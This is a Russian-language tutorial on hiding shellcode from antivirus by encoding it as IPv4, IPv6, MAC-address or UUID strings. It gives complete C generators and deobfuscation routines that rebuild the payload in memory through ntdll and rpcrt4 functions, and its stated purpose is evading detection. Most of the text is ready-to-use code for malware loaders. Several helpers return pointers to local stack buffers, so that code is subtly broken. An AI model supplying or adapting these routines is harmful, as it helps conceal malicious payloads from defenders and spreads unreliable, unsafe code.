В предыдущих статьях обсуждались вопросы размещения полезной нагрузки и её шифрование.
Но как уже было замечено этого не достаточно для сбития детекта, необходимо обойти ещё детект по поведению и эмуляцию кода.
С детектом по поведению немного сложнее, но детект по эмуляции кода можно обойти как вариант обфускацией этого самого кода.)
Предлагаю в этой статье рассмотреть обфускацию полезной нагрузки, далее уже всё зависит что делает ваша ПО, вообще изначально нужно проектировать софт так, что-бы у него не было подозрительного поведения.
В статье будут рассматриваться три способа обфускации...
Что-бы антивирусу или исследователю кода было хорошо, рекомендуется применять шифрование + несколько методов обфускации в комплексе.)
1)IPv4/IPv6Fuscation - это метод обфускации, при котором байты shellcode преобразуются в строки IPv4 или IPv6. Давайте рассмотрим несколько байтов из shellcode Msfvenom x64 calc и проанализируем, как их можно преобразовать в строки IPv4 или IPv6. Для этого примера используются следующие байты:
FC 48 83 E4 F0 E8 C0 00 00 00 41 51 41 50 52 51.
IPv4Fuscation - Поскольку адреса IPv4 состоят из 4 октетов, IPv4Fuscation использует 4 байта для генерации одной строки IPv4, где каждый байт представляет собой октет. Возьмите каждый байт, который в данный момент в формате hex, и преобразуйте его в десятичный формат, чтобы получить один октет. Например, FC равно 252 в десятичной форме, 48 равно 72, 83 равно 131, и E4 равно 228. Таким образом, первые 4 байта примера shellcode, FC 48 83 E4 будут 252.72.131.228.
IPv6Fuscation - Этот метод будет использовать аналогичную логику, как в примере IPv4Fuscation, но вместо использования 4 байтов на IP-адрес, используется 16 байтов для генерации одного адреса IPv6. Кроме того, преобразование байтов в десятичный формат не требуется для адресов IPv6. В качестве примера для указанного shellcode это будет FC48:83E4:F0E8:C000:0000:4151:4150:5251.
Реализация IPv4Fuscation
Теперь, когда логика объяснена, этот раздел будет посвящен реализации IPv4Fuscation. Несколько моментов о приведенном ниже фрагменте кода:
Как уже упоминалось ранее, для генерации адреса IPv4 требуется 4 байта, поэтому shellcode должен состоять из кратного 4 числа байтов. Можно создать функцию, которая дополняет shellcode, если он не соответствует этому требованию.
GenerateIpv4 - это вспомогательная функция, которая принимает 4 байта shellcode и использует sprintf для генерации адреса IPv4.
Наконец, код охватывает только обфускацию, в то время как деобфускация объясняется чуть позже.
C:
// Function takes in 4 raw bytes and returns them in an IPv4 string format
char* GenerateIpv4(int a, int b, int c, int d) {
unsigned char Output [32];
// Creating the IPv4 address and saving it to the 'Output' variable
sprintf(Output, "%d.%d.%d.%d", a, b, c, d);
// Optional: Print the 'Output' variable to the console
// printf("[i] Output: %s\n", Output);
return (char*)Output;
}
// Generate the IPv4 output representation of the shellcode
// Function requires a pointer or base address to the shellcode buffer & the size of the shellcode buffer
BOOL GenerateIpv4Output(unsigned char* pShellcode, SIZE_T ShellcodeSize) {
// If the shellcode buffer is null or the size is not a multiple of 4, exit
if (pShellcode == NULL || ShellcodeSize == NULL || ShellcodeSize % 4 != 0){
return FALSE;
}
printf("char* Ipv4Array[%d] = { \n\t", (int)(ShellcodeSize / 4));
// We will read one shellcode byte at a time, when the total is 4, begin generating the IPv4 address
// The variable 'c' is used to store the number of bytes read. By default, starts at 4.
int c = 4, counter = 0;
char* IP = NULL;
for (int i = 0; i < ShellcodeSize; i++) {
// Track the number of bytes read and when they reach 4 we enter this if statement to begin generating the IPv4 address
if (c == 4) {
counter++;
// Generating the IPv4 address from 4 bytes which begin at i until [i + 3]
IP = GenerateIpv4(pShellcode[i], pShellcode[i + 1], pShellcode[i + 2], pShellcode[i + 3]);
if (i == ShellcodeSize - 4) {
// Printing the last IPv4 address
printf("\"%s\"", IP);
break;
}
else {
// Printing the IPv4 address
printf("\"%s\", ", IP);
}
c = 1;
// Optional: To beautify the output on the console
if (counter % 8 == 0) {
printf("\n\t");
}
}
else {
c++;
}
}
printf("\n};\n\n");
return TRUE;
}
Реализация IPv6Fuscation
При использовании IPv6Fuscation shellcode должен быть кратен 16. Опять же, можно создать функцию, которая дополняет shellcode, если он не соответствует этому требованию.
C:
// Function takes in 16 raw bytes and returns them in an IPv6 address string format
char* GenerateIpv6(int a, int b, int c, int d, int e, int f, int g, int h, int i, int j, int k, int l, int m, int n, int o, int p) {
// Each IPv6 segment is 32 bytes
char Output0[32], Output1[32], Output2[32], Output3[32];
// There are 4 segments in an IPv6 (32 * 4 = 128)
char result[128];
// Generating output0 using the first 4 bytes
sprintf(Output0, "%0.2X%0.2X:%0.2X%0.2X", a, b, c, d);
// Generating output1 using the second 4 bytes
sprintf(Output1, "%0.2X%0.2X:%0.2X%0.2X", e, f, g, h);
// Generating output2 using the third 4 bytes
sprintf(Output2, "%0.2X%0.2X:%0.2X%0.2X", i, j, k, l);
// Generating output3 using the last 4 bytes
sprintf(Output3, "%0.2X%0.2X:%0.2X%0.2X", m, n, o, p);
// Combining Output0,1,2,3 to generate the IPv6 address
sprintf(result, "%s:%s:%s:%s", Output0, Output1, Output2, Output3);
// Optional: Print the 'result' variable to the console
// printf("[i] result: %s\n", (char*)result);
return (char*)result;
}
// Generate the IPv6 output representation of the shellcode
// Function requires a pointer or base address to the shellcode buffer & the size of the shellcode buffer
BOOL GenerateIpv6Output(unsigned char* pShellcode, SIZE_T ShellcodeSize) {
// If the shellcode buffer is null or the size is not a multiple of 16, exit
if (pShellcode == NULL || ShellcodeSize == NULL || ShellcodeSize % 16 != 0){
return FALSE;
}
printf("char* Ipv6Array [%d] = { \n\t", (int)(ShellcodeSize / 16));
// We will read one shellcode byte at a time, when the total is 16, begin generating the IPv6 address
// The variable 'c' is used to store the number of bytes read. By default, starts at 16.
int c = 16, counter = 0;
char* IP = NULL;
for (int i = 0; i < ShellcodeSize; i++) {
// Track the number of bytes read and when they reach 16 we enter this if statement to begin generating the IPv6 address
if (c == 16) {
counter++;
// Generating the IPv6 address from 16 bytes which begin at i until [i + 15]
IP = GenerateIpv6(
pShellcode[i], pShellcode[i + 1], pShellcode[i + 2], pShellcode[i + 3],
pShellcode[i + 4], pShellcode[i + 5], pShellcode[i + 6], pShellcode[i + 7],
pShellcode[i + 8], pShellcode[i + 9], pShellcode[i + 10], pShellcode[i + 11],
pShellcode[i + 12], pShellcode[i + 13], pShellcode[i + 14], pShellcode[i + 15]
);
if (i == ShellcodeSize - 16) {
// Printing the last IPv6 address
printf("\"%s\"", IP);
break;
}
else {
// Printing the IPv6 address
printf("\"%s\", ", IP);
}
c = 1;
// Optional: To beautify the output on the console
if (counter % 3 == 0) {
printf("\n\t");
}
}
else {
c++;
}
}
printf("\n};\n\n");
return TRUE;
}
Деобфускация IPv4/IPv6Fuscation
После того как обфусцированный payload успешно обошел статическое обнаружение, его необходимо деобфусцировать для выполнения. Процесс деобфускации будет обратным процессу обфускации, позволяя генерировать байты из IP-адреса вместо использования байтов для генерации IP-адреса. Деобфускация потребует следующего:
IPv4 Деобфускация - Для этого потребуется использование NTAPI RtlIpv4StringToAddressA. Она преобразует строковое представление IPv4-адреса в бинарный IPv4-адрес.
IPv6 Деобфускация - Аналогично предыдущей функции, для деобфускации IPv6 потребуется использование другой NTAPI RtlIpv6StringToAddressA. Эта функция преобразует IPv6-адрес в бинарный IPv6-адрес.
Деобфускация Payloads IPv4Fuscation
Функция Ipv4Deobfuscation принимает Ipv4Array в качестве первого параметра, который представляет собой массив IPv4-адресов. Второй параметр - это NmbrOfElements, который представляет собой количество IPv4-адресов в массиве Ipv4Array для итерации по размеру массива. Последние 2 параметра, ppDAddress и pDSize, будут использоваться для хранения деобфусцированного payload и его размера соответственно.
Процесс деобфускации начинается с получения адреса функции RtlIpv4StringToAddressA с использованием GetProcAddress и GetModuleHandle. Затем выделяется буфер, который в конечном итоге будет хранить деобфусцированный payload размера NmbrOfElements * 4. Логика за этим размером в том, что каждый IPv4 будет генерировать 4 байта.
Переходим к циклу for. Сначала определяется новая переменная, TmpBuffer, и она устанавливается равной pBuffer. Затем TmpBuffer передается в RtlIpv4StringToAddressA как четвертый параметр, где будет храниться бинарное представление IPv4-адреса. Функция RtlIpv4StringToAddressA записывает 4 байта в буфер TmpBuffer, поэтому после этого TmpBuffer увеличивается на 4, чтобы позволить следующим 4 байтам быть записанным в него без перезаписи предыдущих байтов.
Наконец, ppDAddress и pDSize устанавливаются для хранения базового адреса деобфусцированного payload, а также его размера.
C:
typedef NTSTATUS (NTAPI* fnRtlIpv4StringToAddressA)(
PCSTR S,
BOOLEAN Strict,
PCSTR* Terminator,
PVOID Addr
);
BOOL Ipv4Deobfuscation(IN CHAR* Ipv4Array[], IN SIZE_T NmbrOfElements, OUT PBYTE* ppDAddress, OUT SIZE_T* pDSize) {
PBYTE pBuffer = NULL,
TmpBuffer = NULL;
SIZE_T sBuffSize = NULL;
PCSTR Terminator = NULL;
NTSTATUS STATUS = NULL;
// Getting RtlIpv4StringToAddressA address from ntdll.dll
fnRtlIpv4StringToAddressA pRtlIpv4StringToAddressA = (fnRtlIpv4StringToAddressA)GetProcAddress(GetModuleHandle(TEXT("NTDLL")), "RtlIpv4StringToAddressA");
if (pRtlIpv4StringToAddressA == NULL){
printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
return FALSE;
}
// Getting the real size of the shellcode which is the number of IPv4 addresses * 4
sBuffSize = NmbrOfElements * 4;
// Allocating memory which will hold the deobfuscated shellcode
pBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), 0, sBuffSize);
if (pBuffer == NULL){
printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
return FALSE;
}
// Setting TmpBuffer to be equal to pBuffer
TmpBuffer = pBuffer;
// Loop through all the IPv4 addresses saved in Ipv4Array
for (int i = 0; i < NmbrOfElements; i++) {
// Deobfuscating one IPv4 address at a time
// Ipv4Array[i] is a single ipv4 address from the array Ipv4Array
if ((STATUS = pRtlIpv4StringToAddressA(Ipv4Array[i], FALSE, &Terminator, TmpBuffer)) != 0x0) {
// if it failed
printf("[!] RtlIpv4StringToAddressA Failed At [%s] With Error 0x%0.8X", Ipv4Array[i], STATUS);
return FALSE;
}
// 4 bytes are written to TmpBuffer at a time
// Therefore Tmpbuffer will be incremented by 4 to store the upcoming 4 bytes
TmpBuffer = (PBYTE)(TmpBuffer + 4);
}
// Save the base address & size of the deobfuscated payload
*ppDAddress = pBuffer;
*pDSize = sBuffSize;
return TRUE;
}
Следующий рисунок показывает, что указанный код успешно запущен...
Деобфускация Payloads IPv6Fuscation
Все шаги в процессе деобфускации для IPv6 такие же, как и для IPv4, за исключением двух основных различий:
- Используется RtlIpv6StringToAddressA вместо RtlIpv4StringToAddressA.
- Каждый IPv6-адрес деобфусцируется в 16 байтов вместо 4 байтов.
C:
typedef NTSTATUS(NTAPI* fnRtlIpv6StringToAddressA)(
PCSTR S,
PCSTR* Terminator,
PVOID Addr
);
BOOL Ipv6Deobfuscation(IN CHAR* Ipv6Array[], IN SIZE_T NmbrOfElements, OUT PBYTE* ppDAddress, OUT SIZE_T* pDSize) {
PBYTE pBuffer = NULL,
TmpBuffer = NULL;
SIZE_T sBuffSize = NULL;
PCSTR Terminator = NULL;
NTSTATUS STATUS = NULL;
// Getting RtlIpv6StringToAddressA address from ntdll.dll
fnRtlIpv6StringToAddressA pRtlIpv6StringToAddressA = (fnRtlIpv6StringToAddressA)GetProcAddress(GetModuleHandle(TEXT("NTDLL")), "RtlIpv6StringToAddressA");
if (pRtlIpv6StringToAddressA == NULL) {
printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
return FALSE;
}
// Getting the real size of the shellcode which is the number of IPv6 addresses * 16
sBuffSize = NmbrOfElements * 16;
// Allocating memory which will hold the deobfuscated shellcode
pBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), 0, sBuffSize);
if (pBuffer == NULL) {
printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
return FALSE;
}
TmpBuffer = pBuffer;
// Loop through all the IPv6 addresses saved in Ipv6Array
for (int i = 0; i < NmbrOfElements; i++) {
// Deobfuscating one IPv6 address at a time
// Ipv6Array[i] is a single IPv6 address from the array Ipv6Array
if ((STATUS = pRtlIpv6StringToAddressA(Ipv6Array[i], &Terminator, TmpBuffer)) != 0x0) {
// if it failed
printf("[!] RtlIpv6StringToAddressA Failed At [%s] With Error 0x%0.8X", Ipv6Array[i], STATUS);
return FALSE;
}
// 16 bytes are written to TmpBuffer at a time
// Therefore Tmpbuffer will be incremented by 16 to store the upcoming 16 bytes
TmpBuffer = (PBYTE)(TmpBuffer + 16);
}
// Save the base address & size of the deobfuscated payload
*ppDAddress = pBuffer;
*pDSize = sBuffSize;
return TRUE;
}
Следующий рисунок показывает, что указанный код успешно запущен...
2)Реализация MACFuscation
Реализация MACFuscation будет аналогична тому, что было сделано в предыдущем модуле с IPv4/IPv6fuscation. MAC-адрес состоит из 6 байтов, поэтому shellcode должен быть кратным 6, который, как и ранее, может быть дополнен, если он не соответствует этому требованию.
Принцип работы очень прост: каждые 6 байтов shellcode преобразуются в один MAC-адрес. Этот подход позволяет создать дополнительный уровень обфускации, так как MAC-адреса являются стандартными и не вызовут подозрений при статическом анализе.
Важно помнить, что, как и с другими методами обфускации, MACFuscation не добавляет дополнительного уровня безопасности или шифрования к shellcode, а просто меняет его внешний вид. Это делается для того, чтобы затруднить обнаружение и анализ shellcode.
C:
// Function takes in 6 raw bytes and returns them in a MAC address string format
char* GenerateMAC(int a, int b, int c, int d, int e, int f) {
char Output[64];
// Creating the MAC address and saving it to the 'Output' variable
sprintf(Output, "%0.2X-%0.2X-%0.2X-%0.2X-%0.2X-%0.2X",a, b, c, d, e, f);
// Optional: Print the 'Output' variable to the console
// printf("[i] Output: %s\n", Output);
return (char*)Output;
}
// Generate the MAC output representation of the shellcode
// Function requires a pointer or base address to the shellcode buffer & the size of the shellcode buffer
BOOL GenerateMacOutput(unsigned char* pShellcode, SIZE_T ShellcodeSize) {
// If the shellcode buffer is null or the size is not a multiple of 6, exit
if (pShellcode == NULL || ShellcodeSize == NULL || ShellcodeSize % 6 != 0){
return FALSE;
}
printf("char* MacArray [%d] = {\n\t", (int)(ShellcodeSize / 6));
// We will read one shellcode byte at a time, when the total is 6, begin generating the MAC address
// The variable 'c' is used to store the number of bytes read. By default, starts at 6.
int c = 6, counter = 0;
char* Mac = NULL;
for (int i = 0; i < ShellcodeSize; i++) {
// Track the number of bytes read and when they reach 6 we enter this if statement to begin generating the MAC address
if (c == 6) {
counter++;
// Generating the MAC address from 6 bytes which begin at i until [i + 5]
Mac = GenerateMAC(pShellcode[i], pShellcode[i + 1], pShellcode[i + 2], pShellcode[i + 3], pShellcode[i + 4], pShellcode[i + 5]);
if (i == ShellcodeSize - 6) {
// Printing the last MAC address
printf("\"%s\"", Mac);
break;
}
else {
// Printing the MAC address
printf("\"%s\", ", Mac);
}
c = 1;
// Optional: To beautify the output on the console
if (counter % 6 == 0) {
printf("\n\t");
}
}
else {
c++;
}
}
printf("\n};\n\n");
return TRUE;
}
Деобфускация Payloads MACFuscation
Процесс деобфускации будет обратным процессу обфускации, позволяя генерировать байты из MAC-адреса вместо использования байтов для создания MAC-адреса. Для выполнения деобфускации потребуется использование функции NTDLL API - RtlEthernetStringToAddressA. Эта функция преобразует MAC-адрес из строкового представления в его бинарный формат.
Для деобфускации payload, который был обфусцирован с использованием MACFuscation, вы должны будете выполнить следующие шаги:
- Инициализация: Получите адрес функции RtlEthernetStringToAddressA с использованием GetProcAddress и GetModuleHandle.
- Выделите буфер для деобфусцированного payload. Поскольку каждый MAC-адрес генерирует 6 байтов, размер буфера будет кратен 6.
- Итерация: Пройдите через каждый MAC-адрес в обфусцированном payload.
- Конвертация: Используйте RtlEthernetStringToAddressA для преобразования каждого MAC-адреса из строкового представления в бинарный формат.
- Сохранение: Добавьте преобразованные байты в буфер деобфусцированного payload.
C:
typedef NTSTATUS (NTAPI* fnRtlEthernetStringToAddressA)(
PCSTR S,
PCSTR* Terminator,
PVOID Addr
);
BOOL MacDeobfuscation(IN CHAR* MacArray[], IN SIZE_T NmbrOfElements, OUT PBYTE* ppDAddress, OUT SIZE_T* pDSize) {
PBYTE pBuffer = NULL,
TmpBuffer = NULL;
SIZE_T sBuffSize = NULL;
PCSTR Terminator = NULL;
NTSTATUS STATUS = NULL;
// Getting RtlIpv6StringToAddressA address from ntdll.dll
fnRtlEthernetStringToAddressA pRtlEthernetStringToAddressA = (fnRtlEthernetStringToAddressA)GetProcAddress(GetModuleHandle(TEXT("NTDLL")), "RtlEthernetStringToAddressA");
if (pRtlEthernetStringToAddressA == NULL) {
printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
return FALSE;
}
// Getting the real size of the shellcode which is the number of MAC addresses * 6
sBuffSize = NmbrOfElements * 6;
// Allocating memeory which will hold the deobfuscated shellcode
pBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), 0, sBuffSize);
if (pBuffer == NULL) {
printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
return FALSE;
}
TmpBuffer = pBuffer;
// Loop through all the MAC addresses saved in MacArray
for (int i = 0; i < NmbrOfElements; i++) {
// Deobfuscating one MAC address at a time
// MacArray[i] is a single Mac address from the array MacArray
if ((STATUS = pRtlEthernetStringToAddressA(MacArray[i], &Terminator, TmpBuffer)) != 0x0) {
// if it failed
printf("[!] RtlEthernetStringToAddressA Failed At [%s] With Error 0x%0.8X", MacArray[i], STATUS);
return FALSE;
}
// 6 bytes are written to TmpBuffer at a time
// Therefore Tmpbuffer will be incremented by 6 to store the
TmpBuffer = (PBYTE)(TmpBuffer + 6);
}
// Save the base address & size of the deobfuscated payload
*ppDAddress = pBuffer;
*pDSize = sBuffSize;
return TRUE;
}
Пример запуска кода.
3)UUID-Обфускация
Рассмотрим еще одну технику обфускации, которая преобразует shellcode в строку Универсального Уникального Идентификатора (UUID).
UUID представляет собой 36-символьную буквенно-цифровую строку, которую можно использовать для идентификации информации.
Структура UUID
Формат UUID состоит из 5 сегментов разного размера, которые выглядят примерно так: 801B18F0-8320-4ADA-BB13-41EA1C886B87. Изображение ниже иллюстрирует структуру UUID.
Преобразование UUID в shellcode является несколько менее очевидным, чем предыдущие методы обфускации. Например, FC 48 83 E4 F0 E8 C0 00 00 00 41 51 41 50 52 51 не преобразуется в FC4883E4-F0E8-C000-0000-415141505251, вместо этого получается E48348FC-E8F0-00C0-0000-415141505251.
Обратите внимание, что первые 3 сегмента используют те же байты в нашем shellcode, но порядок обратный. Причина в том, что первые три сегмента используют порядок байтов little-endian. Для полного понимания давайте разберемся с каждым сегментом.
Little Endian: Сегмент 1: FC 48 83 E4 становится E4 83 48 FC в строке UUID Сегмент 2: E8 F0 становится F0 E8 в строке UUID Сегмент 3: C0 00 становится 00 C0 в строке UUID
Big Endian: Сегмент 4: 00 00 остается 00 00 в строке UUID Сегмент 5: 41 51 41 50 52 51 остается 41 51 41 50 52 51 в строке UUID
Реализация UUIDFuscation: Адрес UUID состоит из 16 байтов, поэтому shellcode должен быть кратен 16. UUIDFuscation будет во многом напоминать IPv6Fuscation из-за того, что оба метода требуют кратности shellcode 16 байтам. Опять же, можно дополнить буфер, если shellcode не соответствует этому требованию.
C:
// Function takes in 16 raw bytes and returns them in a UUID string format
char* GenerateUUid(int a, int b, int c, int d, int e, int f, int g, int h, int i, int j, int k, int l, int m, int n, int o, int p) {
// Each UUID segment is 32 bytes
char Output0[32], Output1[32], Output2[32], Output3[32];
// There are 4 segments in a UUID (32 * 4 = 128)
char result[128];
// Generating output0 from the first 4 bytes
sprintf(Output0, "%0.2X%0.2X%0.2X%0.2X", d, c, b, a);
// Generating output1 from the second 4 bytes
sprintf(Output1, "%0.2X%0.2X-%0.2X%0.2X", f, e, h, g);
// Generating output2 from the third 4 bytes
sprintf(Output2, "%0.2X%0.2X-%0.2X%0.2X", i, j, k, l);
// Generating output3 from the last 4 bytes
sprintf(Output3, "%0.2X%0.2X%0.2X%0.2X", m, n, o, p);
// Combining Output0,1,2,3 to generate the UUID
sprintf(result, "%s-%s-%s%s", Output0, Output1, Output2, Output3);
//printf("[i] result: %s\n", (char*)result);
return (char*)result;
}
// Generate the UUID output representation of the shellcode
// Function requires a pointer or base address to the shellcode buffer & the size of the shellcode buffer
BOOL GenerateUuidOutput(unsigned char* pShellcode, SIZE_T ShellcodeSize) {
// If the shellcode buffer is null or the size is not a multiple of 16, exit
if (pShellcode == NULL || ShellcodeSize == NULL || ShellcodeSize % 16 != 0) {
return FALSE;
}
printf("char* UuidArray[%d] = { \n\t", (int)(ShellcodeSize / 16));
// We will read one shellcode byte at a time, when the total is 16, begin generating the UUID string
// The variable 'c' is used to store the number of bytes read. By default, starts at 16.
int c = 16, counter = 0;
char* UUID = NULL;
for (int i = 0; i < ShellcodeSize; i++) {
// Track the number of bytes read and when they reach 16 we enter this if statement to begin generating the UUID string
if (c == 16) {
counter++;
// Generating the UUID string from 16 bytes which begin at i until [i + 15]
UUID = GenerateUUid(
pShellcode[i], pShellcode[i + 1], pShellcode[i + 2], pShellcode[i + 3],
pShellcode[i + 4], pShellcode[i + 5], pShellcode[i + 6], pShellcode[i + 7],
pShellcode[i + 8], pShellcode[i + 9], pShellcode[i + 10], pShellcode[i + 11],
pShellcode[i + 12], pShellcode[i + 13], pShellcode[i + 14], pShellcode[i + 15]
);
if (i == ShellcodeSize - 16) {
// Printing the last UUID string
printf("\"%s\"", UUID);
break;
}
else {
// Printing the UUID string
printf("\"%s\", ", UUID);
}
c = 1;
// Optional: To beautify the output on the console
if (counter % 3 == 0) {
printf("\n\t");
}
}
else {
c++;
}
}
printf("\n};\n\n");
return TRUE;
}
Реализация деобфускации UUID
Хотя разные сегменты имеют разный порядок байтов (endianness), это не повлияет на процесс деобфускации, потому что функция WinAPI UuidFromStringA учитывает это.
То есть при использовании функции UuidFromStringA для преобразования строкового представления UUID обратно в бинарный формат, порядок байтов автоматически учитывается внутри функции, и вы получаете правильное бинарное представление без необходимости явно преобразовывать порядок байтов для различных сегментов UUID.
C:
typedef RPC_STATUS (WINAPI* fnUuidFromStringA)(
RPC_CSTR StringUuid,
UUID* Uuid
);
BOOL UuidDeobfuscation(IN CHAR* UuidArray[], IN SIZE_T NmbrOfElements, OUT PBYTE* ppDAddress, OUT SIZE_T* pDSize) {
PBYTE pBuffer = NULL,
TmpBuffer = NULL;
SIZE_T sBuffSize = NULL;
RPC_STATUS STATUS = NULL;
// Getting UuidFromStringA address from Rpcrt4.dll
fnUuidFromStringA pUuidFromStringA = (fnUuidFromStringA)GetProcAddress(LoadLibrary(TEXT("RPCRT4")), "UuidFromStringA");
if (pUuidFromStringA == NULL) {
printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
return FALSE;
}
// Getting the real size of the shellcode which is the number of UUID strings * 16
sBuffSize = NmbrOfElements * 16;
// Allocating memory which will hold the deobfuscated shellcode
pBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sBuffSize);
if (pBuffer == NULL) {
printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
return FALSE;
}
// Setting TmpBuffer to be equal to pBuffer
TmpBuffer = pBuffer;
// Loop through all the UUID strings saved in UuidArray
for (int i = 0; i < NmbrOfElements; i++) {
// Deobfuscating one UUID string at a time
// UuidArray[i] is a single UUID string from the array UuidArray
if ((STATUS = pUuidFromStringA((RPC_CSTR)UuidArray[i], (UUID*)TmpBuffer)) != RPC_S_OK) {
// if it failed
printf("[!] UuidFromStringA Failed At [%s] With Error 0x%0.8X", UuidArray[i], STATUS);
return FALSE;
}
// 16 bytes are written to TmpBuffer at a time
// Therefore Tmpbuffer will be incremented by 16 to store the upcoming 16 bytes
TmpBuffer = (PBYTE)(TmpBuffer + 16);
}
*ppDAddress = pBuffer;
*pDSize = sBuffSize;
return TRUE;
}
Демонстрация запуска кода: